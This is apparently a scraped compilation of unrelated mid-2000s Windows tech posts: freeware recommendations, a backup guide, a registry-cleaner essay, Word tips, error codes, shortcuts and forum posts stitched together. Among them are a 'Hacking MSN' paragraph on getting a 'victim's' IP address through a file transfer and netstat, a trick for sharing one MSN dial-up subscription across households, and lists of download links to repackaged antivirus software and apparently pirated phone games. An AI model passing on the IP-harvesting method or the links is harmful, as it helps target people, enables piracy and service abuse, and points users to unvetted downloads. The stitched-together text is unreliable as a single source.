Was going to put this under Security, but it's a MUST for anyone using P2P. PeerGaurdian integrates support for multiple lists, list editing, automatic updates, and blocking all of IPv4, TCP, UDP, ICMP, etc, making it the safest and easiest way to protect your privacy on P2P<. Lite version is made to consume as little CPU and RAM as possible. It has no UI or options and consists of a single tray icon. PeerGaurdian
PeerGuardian Lite
Best FTP Client
Two amazing FTP clients that each include a great deal of features are FileZilla and SmartFTP
FileZilla
SmartFTP
Best Chat Program
Two that stand out are Gaim and Trillian, both are multi-platform. Gaim is compatible with AIM, ICQ, MSN Messenger, Yahoo!, IRC, Jabber, Gadu-Gadu, SILC, GroupWise Messenger, and Zephyr networks. While Trillain is a skinnable chat client that supports AIM, ICQ, MSN, Yahoo Messenger, and IRC. Trillain also includes many features not included in those chat programs.
Gaim
Trillian
Best AIM Virus Remover
AIM Fix was created to remove all known AIM viruses in one consolidated removal tool.
AIM Fix
Best Phone/Talking Software
These programs allow you to call people for free and talk with them, all you need are headphones and a microphone. Skype adds encryption and has excellent sound quality, an addon, SAM, adds voicemail functionallity. An alternative to Skype is the Gizmo Project.
Skype
SAM
Gizmo Project
Best Download Manager
There are many, but the ones that work great are FlashGet, GetRight, and Free Download Manager. All split up files and increase the download by 100-600%, they can also resume broken downloads.
FlashGet
GetRight
Free Download Manager
Best Gmail File transfer
There are a couple programs that use that Gmail space of yours to upload your files and make backups of them.
Gmail Drive
Best Email Client
Another from Mozilla, Thunderbird, is a full-featured email client, that includes a spam filter, anti-phishing protection, enchanced security, and auto updates.
Thunderbird
Best Blogging Poster
w.bloggar is a great blogging tool that includes a template and post editor that works with many blogging sites, including Blogger. Unlike other blogging tools, this ione doesn't require you to have your blog on an ftp site, but can log in and post.
w.bloggar
Best IRC Client
Other than the popular mIRC some outstanding IRC clients are IceChat and HydraIRC.
HydraIRC
IceChat
Best IRC Add-on
NoNameScript is an amazing addon that's definitely worth installing over normal mIRC.
NoNameScript
Best Anti-Spyware
A few stand out, mainly Spybot, Ad-Aware, Windows Defender, and Spyware Blaster. The first three are scanners each with their own special tools including realtime scanning, encrypted file deletion, and history erasor. Spyware Gaurd is more of a realtime scanner (Like Anti-Virus) of spyware while you're downloading. Spyware Blaster is different in not being a scanner, but prevents spyware from installing on your computer in the first place (Spybot includes a robust version of this). All four programs are recommended since each is not 100% efficient.
Spybot
Ad-Aware SE Personal
Windows Defender
SpywareGuard
Spyware Blaster
Best Anti-Virus
A few come to mind, but my favorite is AVG from Grisoft, which includes updates, real time scanner, and an email scanner. Another good one is AntiVir PersonalEdition Classic which includes many of the same features. Do keep in mind that free anti virus clients are not up to par with paid ones according to testings.
AVG
AntiVir PersonalEdition Classic
Best Firewall
My favorite by far is ZoneAlarm which is simple for begginers and contains a barrage of features for more advanced users. Another option is Sygate Personal Firewall includes all the same functions for the same price.
ZoneAlarm Free
Sygate Personal Firewall
Best Anti-Malware
Ewido really helps stop hijackers, spyware, worms, dialers, trojans, and keyloggers. It includes a great scanner and realtime scanner. Some features are disabled in the free version, including the realtime scanner, auto updates, self-protection, and memory scanning, but all these are included in the 15 day trial which can be reinstalled.
Ewdio
Best Diagnostic Tool
Ultimate Boot CD is an amazing bootable CD to restore a crashed computer and can fix it.
Ultimate Boot CD
Best Disk Cleaner
I couldn't believe my eyes after I ran CCleaner, it removed around 1.5 Gigs in unused application data and internet cach (Which I thought I removed through the disk cleaner). This truly amazing utility cleans out your computer safely and even scans and removes obselete registry data, speeding up your system. You might want to turn off cookie deletion if you save your passwords on forums and such.
CCleaner
Best File Deleter
Eraser is an advanced security tool (for Windows), which allows you to completely remove sensitive data from your hard drive by overwriting it several times with carefully selected patterns.
Eraser
Best File Encrypter
Three stand out, GNU Privacy Gaurd, TrueCrypt, and Blowfish Advanced CS. GNU is a full replacement of PGP that is totally command line based, and not for beginnners. On the other hand, Blowfish Advanced CS offers multiple algorithms, efficient data compression, and safe key handling for content protection. TrueCrypt can create virtual encrypted disks, can encrypt an entire hard disk partition or a device, such as USB flash drive, and provides two levels of plausible deniability, in case an adversary forces you to reveal the password.
Blowfish Advanced CS
TrueCrypt
GNU Privacy Gaurd
Guide to GNU Privacy Gaurd
Best Md5 Checksum Creator/Checker
This open source utility is used to calculate the MD5 checksum of a file using L. Peter Deutsch's MD5 code. One of the most common uses is to make sure that a file that you have downloaded is not corrupt. Some websites post the MD5 checksum of a file on their download page. Once you have downloaded the file, use winMd5Sum to get the MD5 checksum of the file on your computer. Then make sure that the MD5 checksum from the web site is the same. If they are the same, then your file is exactly the same as the file on the website.
winMD5Sum
Best File Unlocker
Unlocker is an Windows Explorer extension allowing you with a simple right-click on a file or folder to get rid of error message such as error deleting file or folder, cannot delete folder: it's being used by another person or program.
Unlocker
Best Image Editor
A few stand out, mainly The GIMP and Paint.NET. GIMP is more like Photoshop and there is a seperate version that renames GIMP tools to the ones in Photoshop. Piant.NET replaces the simple MS Paint program and adds tons of features and includes many of the things Photoshop has.
The GIMP
GIMP Shop
Paint.NET
Best Vectar Image Editor
Inkscape is an Open Source vector graphics editor, with capabilities similar to Illustrator, Freehand, CorelDraw, or Xara X using the W3C standard Scalable Vector Graphics (SVG) file format.
INKSCAPE
Best Image Viewer/Editor
IrfanView supports many formats of images and includes some plugins that allow it to view many other formats such as videos, flash, and some audio formats. Picasa, on the other hand, differs in being able to edit photos and searches your computer for photos. Another good one is FastStone Image Viewer which is a fast, stable, user-friendly image browser, converter and editor.
IrfanView
>IrfanView Plugin/Addons
Picasa
FastStone Image Viewer
Best Digital Album Creator
InAlbum Lite is an easy you can use program to turn your digital photos into a great photo album slideshow. InAlbum Lite helps you turn your digital photos into stunning photo albums.
InAlbum Lite
Best 3-D Modelling/Animation/Rendering
Foreget Maya, Blender is the open source software for 3D modeling, animation, rendering, post-production, interactive creation and playback.
Blender
Best Color Capturer
Color Schemer ColorPix is a useful little color picker that grabs the pixel under your mouse and transforms it into a number of different color formats. You can use the built-in magnifier to zoom in on your screen, click on a color value to copy it directly to the clipboard, and even keep ColorPix on top of all other apps and out of the way. Also, it doesn't require installation and is a tiny program.
Color Schemer ColorPix
Best Virtual Drive
If you ever wanted to run that .iso or any other CD image without having the CD or DVD in the drive just use DAEMON Tools. Do not install the adware toolbar!
DAEMON Tools
Best DVD Descrambler
Well the name says it all, DVD Decrypter allows you to copy DVDs to your hard drive and re-encode them to MPEG1 (VCD) or DivX. DVD Decrypter can also write most types of CD / DVD images via its 'ISO Write' mode.
DVD Decryptor
Best DVD Compressor
ratDVD takes a full featured DVD-9 movie and puts it into a highly compressed .ratDVD container format file of about 1.x GB in size - while preserving all the features of the original DVD.
Best CD/DVD Burner
CDBurnerXP Pro and DeepBurner are two fully featured DVD and CD burners and can create .iso's from them. Both are amazingly fast and meet all your needs.
CDBurnerXP Pro
DeepBurner
Best MPEG to DVD Converter
Got those mpegs from your digital video camera, off the web, etc. but always wanted to convert them into DVD's? Well DVDBuilder does exactly that, efficiently and painlessly for free.
DVDBuilder
Best Video Player/Codec Pack
Basically, the K-Lite Mega Codec Pack will play every video file on this planet.
K-Lite Mega Codec Pack
K-Lite Codec Pack Full (Less features)
Best Audio Player
Winamp and foobar2000 comes out on top as the best audio players. ml_ipod is a plugin that uses Winamp to support your iPod. Winamp DSP Enhancer increases the quality and depth of your bass and treble, but not just making them louder but by filtering out any distortions and other bad stuff. foobar 2000 s an advanced audio player for the Windows platform. Some of the basic features include full unicode support, ReplayGain support and native support for several popular audio formats. Not to mention it's tiny size.
Winamp
ml_ipod
DSP Enchancer
foobar2000
Best Audio Editor/Ripper
Audacity is a free and gull featured audio editor and recorder. As for grabbing audio from CDs , Exact Audio Copy is the solution, although it's not for beginners.
Audacity
Exact Audio Copy
Best Audio Converter
Often called the Swiss army knife of audio, dBpowerAMP is able to convert your audio files to convert between audio formats whilst preserving ID Tags.
dBpowerAMP Music Converter
Best XviD/DivX Converter
AutoGK is an amazing program that converts Xvid and DivX formats of video to many others, at the same time compressing them and it includes many other features.
AutoGK
Best Movie Cover Searcher
Have those "back up" DVDs but no covers? Well, no fear, iCover searches its 6 databases and the internet for over 13,000 movie covers that you can download for free.
iCover
iCover Site (French)
Best iPod Utility
Forget iTunes, YamiPod gives you full control of your iPod and offers many other features to you.
YamiPod
Best Hard Drive Analyser
JDiskReport is an amazing program that provides many different graphs and information on what's stored on your computer.
JDiskReport
Best Software Collection
TheOpenCD includes many freeware programs and open source programs that are essential to anyone.
TheOpenCD
Best HTML Editor
Based off the firefox source, NVU, made by Linspire is a great HTML editor that is amazing for its price, much unlike the expensive Dreamweaver and Frontpage.
NVU
NVU Features
Best CSS Menu Designer
CSS Menu Designer is a good tool to automatically create beautiful CSS menus that you can customize to your every whim.
Best CSS Menu Designer
Compression Tool
Although there's many, a few stand out, mainly 7-Zip and IZArc. 7-Zip supports: 7z, ZIP, CAB, RAR, ARJ, GZIP, BZIP2, Z, TAR, CPIO, RPM and DEB. IZArc supports many files including: 7-ZIP, A, ACE, ARC, ARJ, B64, BH, BIN, BZ2, BZA, C2D, CAB, CDI, CPIO, DEB, ENC, GCA, GZ, GZA, HA, IMG, ISO, JAR, LHA, LIB, LZH, MDF, MBF, MIM, NRG, PAK, PDI, PK3, RAR, RPM, TAR, TAZ, TBZ, TGZ, TZ, UUE, WAR, XXE, YZ1, Z, ZIP, ZOO. Both also include many other features.
IZArc
7-Zip
Best Benchmarking Tool
EVEREST Home Edition is a freeware hardware diagnostics and memory benchmarking solution for home PC users. It offers the world's most accurate hardware information and diagnostics capabilities, including online features, memory benchmarks, hardware monitoring, and low-level hardware information. Sadly, this free version has been discontinued, since they want to make some money on their corporate version (Which is understandable).
EVEREST Home Edition
Best Office Suite
The best one out there is OpenOffice.org. It includes many of the same features as MS Office and more.
OpenOffice.org
Best Word Processer
AbiWord is a free word processing program similar to Microsoft Word and is rapidly becoming a state of the art Word Processor. It has lots of features useful for your daily work, personal needs, or for just some good old typing fun.
AbiWord
Best Process Viewer
Process Explorer is a incredible program that shows you information about which handles and DLLs processes have opened or loaded.
Process Explorer
Best Multi-Coding Tool
For those computer programmers, PHP Designer 2005 and Notepad++ are great programs that include syntax highlighting and syntax folding. PHP Designer supports: PHP, HTML, XML, CSS, JavaScript, Java, Perl, JavaScript, VB, C#, Java & SQL. Notepad++ supports C, C++, Java, C#, XML, HTML, PHP, Javascript, RC resource file, makefile, ASCII art file (extension .nfo), doxygen, ini file, batch file, ASP, VB/VBS source files, SQL, Objective-C, CSS, Pascal, Perl, Python, Lua, TCL, Assembler, Ruby, Lisp, Scheme, Properties, Diff, Smalltalk, Postscript and VHDL. And that's the tip of the iceberg for both programs, they contain tons of features.
Notepad++
PHP Designer 2005
Other good ones (That also work with AutoIt scripting):
PSPad
Best AutoIt Editor
This custom made version of SciTE has syntax highlighting and syntax folding, autocompleting, and intellisense.
SciTE
Best .pdf Reader
Foxit Reader is small (the download is less than 1MB), so it downloads quickly. It doesn't need any installation, so you can start to run it as soon as you've downloaded it.
Foxit Reader
Best Linux
Ubuntu and Kubuntu are two of best and most well known linux distros out there and include a barrage of programs. Another good one is Damn Small Linux, which is 50mb and can run off your USB flash drive.
Ubuntu
Kubunu
Damn Small Linux
Best Mouse Movement Capturer
Wink is a Tutorial and Presentation creation software, primarily aimed at creating tutorials on how to use software (like a tutor for MS-Word/Excel etc). Using Wink you can capture screenshots, mouse movements, add explanations boxes, buttons, titles etc and generate a highly effective tutorial for your users.
Wink
Best Windows CD Creator
AutoStreamer works as a totally automated slipstreamer. Basically, all it really needs is a source that being an original Windows CD or a local share and a Service Pack file. Using this you can create another Windows CD that includes the newest service pack and all the hotfixes.
AutoStreamer
Best Dockbar
ObjectDock is the main program for this and can be highly customized. Another, Y'z Dock, has similar functions but was discontinued as a result of Apple's intervention.
ObjectDock
Y'z Dock
Best Widget Engine
Yahoo! Widget Engine is your solution to Windows widgets, it's highly customizable and there's thousands of available widgets.
Yahoo! Widget Engine
Best Wallpapers
EarthView replaces your background with realtime photos of Earth. Another great on is Holding Pattern, Holding Pattern turns your idle computer screen into an airplane window, complete with a moving aerial view. Each time the screensaver plays a unique sequence. Hint: The plane does have a destination.
EarthView
Holding Pattern
Best Desktop Searcher
There are many, but my favorite is Google Desktop Search, with a plethora of features. Such as searching (Duh?), news, maps, notepad, gmail notifier, and many other features.
Google Desktop Search
Best Earth Viwer
Obviously Google Earth makes it, but NASA's World Wind is another program worth a look at.
Google Earth
World Wind
Best Bootskin Changer
This tiny and free program allows you to easily change boot skins that you download from various theme customizing sites.
BootSkin
Your computer cost you from hundreds to thousands of dollars, but the computer itself is not the most valuable part. The data on the hard disk is the most valuable part. How many hours of work did you put into creating that data? One little event, like a power line spike from a lightning strike, and all that work could be lost. Unfortunately, backing up with Windows XP Home Edition is not as simple as it should be.
The first step is to choose a backup device. You might choose a tape drive or a DVD drive, but those devices might require drivers to be installed before you could restore from them. The simplest option is to install a second hard drive in your computer.
The second hard drive doesn't have to be equal to your main hard drive. You can use an older, smaller hard drive as the backup device, as long as the backup drive has more "Free Space" than the main hard drive has "Used Space". doesn't bother me.
Install a Second Hard Drive
When installing a second hard drive in your computer, it's important to configure the drives correctly. Your motherboard should have two ATA (sometimes called IDE) connectors. The primary connector should have a cable with two drive connectors. The end connector should go to your main hard drive, the middle connector can be used for a backup hard drive. The second motherboard ATA connector should go to your CD-ROM.
On the back of each hard drive is a jumper. The jumper on your main hard drive should be set to the "Master" position. The jumper on your backup hard drive should be set to "Slave" position. Most modern computers use "Cable Select", so you can set both jumpers to the "Cable Select" position. Don't forget the power connector for the second drive.
When you restart your computer, the second drive should be automatically recognized and be designated with the next drive letter available, usually E: (D: being used for the CD-ROM drive).
Format the Second Hard Drive
Generally, you will want to re-format the second hard drive after installation to remove any previously installed operating system and to remove any previous file access rights. To format the drive, select Start | Settings | Control Panel | Administration Tools | Computer Management. In the "Computer Management" window, under "Storage", click on "Disk Management".
Right click on the backup disk's drive letter. In the popup menu, select All Tasks | Format... In the Warning dialog box that appears, click on the "Yes" button. In the "Format" dialog box, in the "File system" drop-down list, select NTFS. Click on the "OK" button. Again, in the Warning dialog box that appears, click on the "Yes" button.
Install the Backup Utility
Windows XP Home Edition doesn't install the Backup utility by default. You'll need to install it manually from your Windows XP CD-ROM.
1. After inserting the CD-ROM, open Control Panel's "Add or Remove Programs" utility. In the "Add or Remove Programs" utility", click on the "Add New Programs" button, then click on the "CD or Floppy" button.
2. In the "Run Installation Program" dialog box that appears, navigate to the VALUEAD/MSFT/NTBACKUP folder on the CD-ROM and select the file NTBACKUP.MSI. Click on the "Finish" button. The Backup utility will be installed.
Perform a Full Backup
To perform a backup, select Start | Programs | Accessories | System Tools | Backup to open the Backup Utility.
When the backup is complete, turn off the computer and remove the data and power cables from the backup drive. It doesn't make sense to leave the backup drive connected because if the cause of a failure is a power spike, it will take out both drives. Next time you want to backup you'll need to reinstall the cables.
How to Perform a Restore
In the unfortunate event that your computer crashes and you can't get it back by any other means, you'll need to reinstall Windows XP from the CD-ROM. (Automated System Recovery is not supported in Windows XP Home Edition.) You'll need to re-install the Backup utility. Then you'll need to shut down the computer to install the data and power cables to the backup drive. Restart the computer and use the Backup Utility to restore Windows XP from the backup file.
When using this backup method, it's important to be careful not to break any pins when you are removing and installing the data cable of the hard drive. And if your computer doesn't use "cable Select", don't forget to change the jumper on the main hard drive back to "Single".
Author: Bucaro TecHelp.
A long time ago, in a land forgotten by time (before Microsoft Windows 95), Windows computers and their programs had .ini (configuration) files that stored information. These files determined how a program ran, its environment, and a host of other things.
Then the Windows Registry came onto the scene, with each key in the registry being similar to a bracketed heading in the old .ini file and values similar to entries under the .ini headings. However, registry keys can have nested subkeys with string or binary data that .ini files don't support. Does the registry periodically need cleaning? Let's take a look.
Hives and keys?
A registry hive is a group of keys, subkeys, and values in the registry that has a set of supporting files that contain backups of its data. The registry has gone through very little changes, so if you're interested in learning more about it, check out " What's all the buzz about registry hives?"
If you're not too familiar with the registry and how it works, there are a slew of different companies that would like to sell you a registry cleaner. Do you need to clean your registry? Let's look at the facts.
What registry cleaners claim to do:
What do registry cleaners claim to accomplish? Well, some of them claim to reduce the size of the registry and remove orphaned entries to speed up Windows. Sure, removing orphaned entries will reduce the size, but today's hard drives have gigabytes of free space and 10 MB isn't going to make a difference.
Besides, no one can give you a benchmark telling you how much speed you'll gain. The reason they can't tell you how much faster your system will run is because the size of the registry has nothing to do with the speed at which your machine operates.
The .ini files are flat text files, which require sequential searching. Registry files are database files, complete with indexing. If the index is up to date — and the system rebuilds it after each change, so it probably is — then size makes no difference.
Other registry cleaners say they'll remove invalid registry entries that can cause errors in other installed programs. Programs keep registry entries in their own keys and rarely reference keys written by other programs. They also include an uninstall routine that deletes the entries when you remove the program.
Many older programs may not work this way, and maybe some of today's programs don't do the best job of clearing their entries. However, the system will never reference the data that they leave behind.
Some registry cleaners claim that they correct problems with Windows crashes and error messages. I've been an administrator on Windows machines since NT 3.5, and I've never traced a crash or error message to the registry — nor have I met any administrator who has.
Finally, some registry cleaners say they remove entries pointing to nonexisting files that are invalid and require deletion. If a registry entry points to a file that's no longer present, of course you can delete them. However, if an entry points to something that doesn't exist, then the system will never use it. Do you delete every unused file on your computer?
Who needs registry cleaners?
There are two types of people who possibly might need registry cleaners. The first are those people who open up the registry and make manual changes. These people know exactly what they're doing; they follow precise instructions from the manufacturer, or they just like to tinker around and see what happens. This group might need to undo what they've done and could use a registry cleaner.
The second group of people who definitely need to clean their registries are programmers and developers. During the development of a program, you might go through hundreds of install/uninstall routines. It's important to ensure that you're working with a clean machine to make sure previous problems don't interfere with the latest version of your software.
Final thoughts:
If you're a developer or someone who fiddles with the registry, then by all means find yourself a good registry cleaner. As for the rest of us, leave the registry alone, and don't buy into the hype of needing to clean your registry.
Single-click the Start menu.
Single-click the Control Panel.
Single-click the Sounds, Speech, and Audio Devices icon.
Single-click the Sounds and Audio Devices icon or the text labeled "Change the sound scheme."
Make sure you're on the Sound tab and locate the pull-down menu under Sound scheme.
Select the Windows Default option and press Apply. Windows will ask you if you want to save the previous sound scheme. Since there wasn't a sound scheme already loaded, just choose No.
If you look under the text labeled "Program events," you'll be able to sample your new sounds or customize them with your own.
Add a highly interactive and good music internet american radio channel to your internet browser now!! Enjoy your surfing and work with this awesome radio channel...latest songs /gossips etc....Over 30 plus internet radio stations playing rock,pop,rap and best chart busters.
Download size below 436Kb
To download : click the radio image or here: Download Mirror 1
You can submit radio station requests or genre request.The toolbar will be updated automatically.Spread the word.
You can add Your Orkut Profile to Your Blog as mine.
Instead of having same old Blogger Profile.
Just click on “Add to Your Blog” button on right side bar.
Now it will direct you to Add Wideget Page of blogger.
If you have multiple blogs, select for which blog you want to add.
Then click on edit content & here you need to change feilds “Your Image URL”,
“Profile URL”,”Compose URL”,”Scrapbook URL”,”Testimonial URL” & “Teaser URL”
with your actual URLs.
After editing click on “Add”.
That’s it you are done! Your profile will be embedded into your blog!
Note:
For Send Teaser & Write Testimonial URLs you need to sign in as a different user.
Displaying orkut profile in sidebar looks more good than your normal blog’s profile. If you are a blogger then you are just few clicks away from inserting it.Click here for more details. If you are not a blogger, here is the way to insert orkut profile in your blog or web site. Copy HTML code below & paste it in your page where you want to display orkut profile. Don’t forget to edit “Image URL”,”Profile URL”…..etc, with your appropriate profile links.
These URLs you can get by logging in to orkut & for image url right click on your pic & click on copy image location.Similarly for profile URL right click on “Profile” & click on copy shortcut. Replace these copied URLs with “Image URL”, “Profile URL” respectively. Procedure to get other URLs will be same.Do message me if you find this difficult.I will try to give you completely customized HTML code for your profile which doesn’t need any editing.
This HTML & graphics were created by Darnell Clayton of Inside Orkut
The most important benefit of XML is its simplicity. Though it is simple it is powerful enough to express complex data structures. Java is one of most important programming languages that is used for creating your web pages.
It is an object oriented language whose main purpose was to be used with embedded systems such as cell phones. But later it gained more importance to be used with Web pages that were dynamic in nature. Java Applet and serve lets are the important mechanisms for implementing this.
Customizing the Start Menu
Another advantage of using Java is the concept of JavaBeans, which is a software component model for Java that allows the rapid development of an application by using a visual builder. DOM is one of the methods for accessing the structure of an XML document.
An alternative is to use an event driven API. SAX is a simple API designed for XML. Document Handler is very important since it is called every time an element is found.
A Document Handler is used as follows:
Step 1: Importing the parser interface
Step 2: Create an instance of SAX driver.
Step 3: Using this driver, create a parser object
Step 4: Register an instance of class My Handler as a Document Handler.
JOX is a set of Java libraries that allows you to transfer data between XML documents and JavaBeans.
JOX matches XML document to the fields of a bean and it will use a DTD when writing an XML document when one is available. JOX, unlike the other libraries, allows you to use any form of an XML document and any Java Bean without creating a separate schema to describe the mapping between Java and XML.
XP is an XML parser written in Java. The following are the advantages of XP:
* XP is designed to be 100% conformant and correct
* XP aims at High performance
* Apart from the high level parser API, it also provides a low level API that supports the construction of different kinds of parser.
Breeze XML Binder is the most complete Java/XML data binding solution available. Breeze creates JavaBeans directly created from the XML structures.
Accessibility Keyboard Shortcuts
Right SHIFT for eight seconds (Switch FilterKeys either on or off)
Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
SHIFT five times (Switch the StickyKeys either on or off)
NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
Windows Logo +U (Open Utility Manager)
Windows Explorer Keyboard Shortcuts
END (Display the bottom of the active window)
HOME (Display the top of the active window)
NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
NUM LOCK+Minus sign (-) (Collapse the selected folder)
LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Hacking MSN is actually VERY simple. Msn is designed to route the connection through a microsoft server while you are chatting. However, when a file is sent, a DCC (direct connection) is created. This was purposely done because otherwise microsoft would waste alot of bandwidth so a direct connection is made. This is your chance. Make a file transfer occur between u and a victim (try to send a big file), open up your command prompt (run "cmd" in NT/XP or "command" in 9X to get into prompt) and run netstat. usually the MSN targets IP would be above port 2000.
Its easy really. You want to have an entire family on dial-up with just one bill?
Step 1.
Purchase 20 dollar a month subscription to MSN unlimited access dial up. This will include an MSN 9 cd which you will need. With the software installed, fill up your secondary account slots with new users. Make sure you pick @msn if it gives you the choice, hotmail email addresses will not work..
say the secondary account is johnsmith@msn.com type in the Dial up connection
USER : MSN/johnsmith
PASS: ******* (whatever)
Now connect to your local msn phone number and the other people you gave secondary accounts to will be able to do the same, while you are connected. Its a sweet deal considering everyone is paying about 2 bucks a month for internet access, especially if you cannot get broadband. if you wanted to sell off the access to people you could actually make money doing this.. but i do not suggest it.
After you do this you do not need the software any more. I would suggest keeping it on to micromanage everyone else's accounts. and for the simple fact that if they don't pitch in, cut them off HEHEHE
i'm on broadband now so i dont care if i tell you my little secret. anyone else knew of this?

This package includes: Kaspersky,Symantec Security, Dis-infector, Anticommwarrior, AntiCabir ,McAfee virus scann, Simworks antivirus, NetQin.
http://rapidshare.com/files/87793778/All_symb_antivirus_programs.rar
Enjoy!!! 
Whether you have used Microsoft Word for years, have just switched from WordPerfect or are new to word processing, try these easy steps to save time and simplify your work in Word: Turn off Personalized Menus and Toolbars
Although it is a default, Personalized Menus and Toolbars is a terrible "feature" which limits your initial view to select toolbar buttons and menu commands. Do you only have one row of toolbars at the top of the screen? When you click on a menu, does it expand only after a few seconds? If so, you will save yourself a lot of frustration by turning off this personalized display:
1. Choose Tools > Customize, and click on the Options tab.
2. For the section, Personalized Menus and Toolbars, check/select the options "Show Formatting and Standard toolbars on two rows" and "Always show full menus." Note: in Microsoft Word 2000, you will need to Uncheck each of these options (the descriptions are a bit different too).
3. Pick Close to see a full display of your main toolbars and your menus.
Stop Automatic Text Changes
Does it seem like Word randomly changes the capitalization or spelling of text in a document? AutoCorrect is to blame. As the name indicates, AutoCorrect automatically corrects the spelling of common misspelled words but also makes other changes including capitalizing the first letter in a sentence, table cell, or line of text. To review your choices, pick Tools > AutoCorrect Options, choose the AutoCorrect tab and uncheck any option that gets in the way of typing your text.
Stop Automatic Numbered Lists (and More)
Have you ever tried to create your own numbered list or outline and watched the numbering or formatting change once you press [Enter] for the next line? This is a huge annoyance for anyone that wants to build their own custom layout for an outline rather than working with the choices in Word. Do you type your e-mail address or website into a document and then watch as it suddenly changes to blue underlined text (a hyperlink)? Do you ever enter fractions or quotes that automatically re-format? You are a victim of AutoFormat As You Type. To customize Word so that it works for you and not against you:
1. Choose Tools > AutoCorrect Options
2. Select the AutoFormat As You Type tab. I recommend that you uncheck all of the options in the last 2 sections including Automatic numbered lists. Turn off choices in the 1st section as desired.
3. Pick OK to finish.
Each of the formatting options that you turn off can still be added when you want them. For instance, automatic numbered lists can be created via a toolbar button or under the Format menu.
Modifying Your Default Font
Are you frequently changing the font in your documents? Take a few minutes to change the default font used for new documents:
1. Create a new, blank document.
2. Choose Format > Font. Change the font from the standard Times New Roman 12 point to the style and size you want such as Arial 12 point.
3. Next, don't pick OK which only changes the current document. Instead, choose Default.
4. You will see a prompt asking if you want to change the default font. This change will modify the normal template also known as the normal.dot file which stores many of the Microsoft Word settings. Select Yes to confirm the changes.
Customizing Page Layout and Margins
Ever since the days of Word 1.0, the default margins for a document have been 1" for the top and bottom and 1.25" for the left and right margins even though most people prefer 1" margins for each side. It's also easy to change the settings for margins regardless of what you like to work with:
1. Continue with a new, blank document.
2. File > Page Setup, and pick the Margins tab.
3. Change the margins to 1" all around or your most frequently used choices.
4. Make other changes in these dialog tabs. For instance, you might want to set a custom footer or make changes to the Paper source.
5. To set your custom defaults for all new, blank documents, pick the Default button.
6. As before, you will be prompted to confirm the change to the normal template. Choose Yes to continue.
About the Author: Dawn Bjork Buzbee is certified Microsoft Office Expert and Microsoft Office Specialist Master Instructor. Dawn shares smart and easy ways to effectively use software and technology through her work as a speaker, trainer, and consultant.
203
The system could not find the environment option that was entered.
205
No process in the command subtree has a signal handler.
206
The filename or extension is too long.
207
The ring 2 stack is in use.
208
The global filename characters, * or ?, are entered incorrectly or too many global filename characters are specified.
209
The signal being posted is not correct.
210
The signal handler cannot be set.
212
The segment is locked and cannot be reallocated.
214
Too many dynamic-link modules are attached to this program or dynamic-link module.
215
Cannot nest calls to LoadModule.
230
The pipe state is invalid.
231
All pipe instances are busy.
232
The pipe is being closed.
233
No process is on the other end of the pipe.
234
More data is available.
240
The session was canceled.
254
The specified extended attribute name was invalid.
255
The extended attributes are inconsistent.
258
The wait operation timed out.
259
No more data is available.
266
The copy functions cannot be used.
267
The directory name is invalid.
275
The extended attributes did not fit in the buffer.
276
The extended attribute file on the mounted file system is corrupt.
277
The extended attribute table file is full.
278
The specified extended attribute handle is invalid.
282
The mounted file system does not support extended attributes.
288
Attempt to release mutex not owned by caller.
298
Too many posts were made to a semaphore.
299
Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
300
The oplock request is denied.
m posting here sme s.ericsson stuff! 
chek it ..
games -
new games bt nt in 128*160 size
GTA_vice_city
http://www.4shared.com/file/22169990/63
Need_For_Speed_Most_Wanted
http://www.4shared.com/file/16148814/15
Mortal_Kombat
http://www.4shared.com/file/23330333/53
Gta_San_Andreas
http://www.4shared.com/file/23543348/fd
Need_For_Speed_UnderGround_2
http://www.4shared.com/file/14660088/f6
mission_impossible_iii
http://www.4shared.com/file/379
All r Adventure GAMES so downloads n enjoy
Super_Mario_Bros
http://www.4shared.com/file/21776748/50
transformers
http://www.4shared.com/file/22545878/59
Rambo
http://www.4shared.com/file/19007763/5f
Spider-Man3
http://www.4shared.com/file/18375665/8f
Fantastic Four Silver Surfer
http://www.4shared.com/file/22653006/61
Prince Of Persia - 3 - Worrior Within
http://www.4shared.com/file/22536999/11
lost
http://www.4shared.com/file/21557612/43
Gangstar-Crime City
http://www.4shared.com/file/20109672/49
medal of honor air bornel
http://www.4shared.com/file/22136023/86
Pirates_Of_The_Caribbean_2-Dead_Mans_Che
http://www.4shared.com/file/19223573/fd
Power Rangers -SPD
The_Simpsons
http://www.4shared.com/file/22861164/f1
Tennis_Open_2007
http://www.4shared.com/file/19766261/9d
Splinter_Cell_3D_Paradise_Tomorrow
http://www.4shared.com/file/19766257/5f
Real_football_2008
http://www.4shared.com/file/24482940/8d
Shrek The Third
http://www.4shared.com/file/22894915/8c
Blades
http://www.4shared.com/file/24177769/29
The_Sims_2_Pets
http://www.4shared.com/file/22861579/6f
Ultimate street Football
http://www.4shared.com/file/21091161/20
Sim_City
http://www.4shared.com/file/22861534/75
http://www.4shared.com/file/18488484/85
Fifa_2007
http://www.4shared.com/file/10811789/40
The_Simpsons
http://www.4shared.com/file/22861164/f1
Real_football_2008
http://www.4shared.com/file/24482940/8d
Age_Of_Empires_III
http://www.4shared.com/file/23403667/67
DogZ_3D
http://www.4shared.com/file/25205771/6f
EA_MOHA
http://www.4shared.com/file/23501554/b6
Sim_City
http://www.4shared.com/file/22861534/75
Pirates Of 7 Seas
http://www.4shared.com/file/20671107/50
Prince_Of_Persia_3_-_The_Two_Thrones
http://www.4shared.com/file/23236940/66
Heroes
http://www.4shared.com/file/26494052/fa
need_for_speed_underground
http://www.4shared.com/file/22972695/1e
Shrek The Third
http://www.4shared.com/file/22894915/8c
NitroStreet
http://www.4shared.com/file/27373499/5f
might-and-magic-ii
http://www.4shared.com/file/26241789/c4
WARCRAFT_3
http://www.4shared.com/file/26115742/3e
MTV_Pimp_My_Ride [ As seen in VH1 ]
http://www.4shared.com/file/25885601/d9
driver_la
http://www.4shared.com/file/21090820/84
3D_Counter_Sricker
http://www.4shared.com/file/23370489/a0
CSI_Miami
http://www.4shared.com/file/25475028/63
Super_Mario_Bros
http://www.4shared.com/file/24779782/16
Freestyle_Moto_X2 [super game]
http://www.4shared.com/file/19766157/5d
Robot_Alliance_3D [just_like_Quake_2]
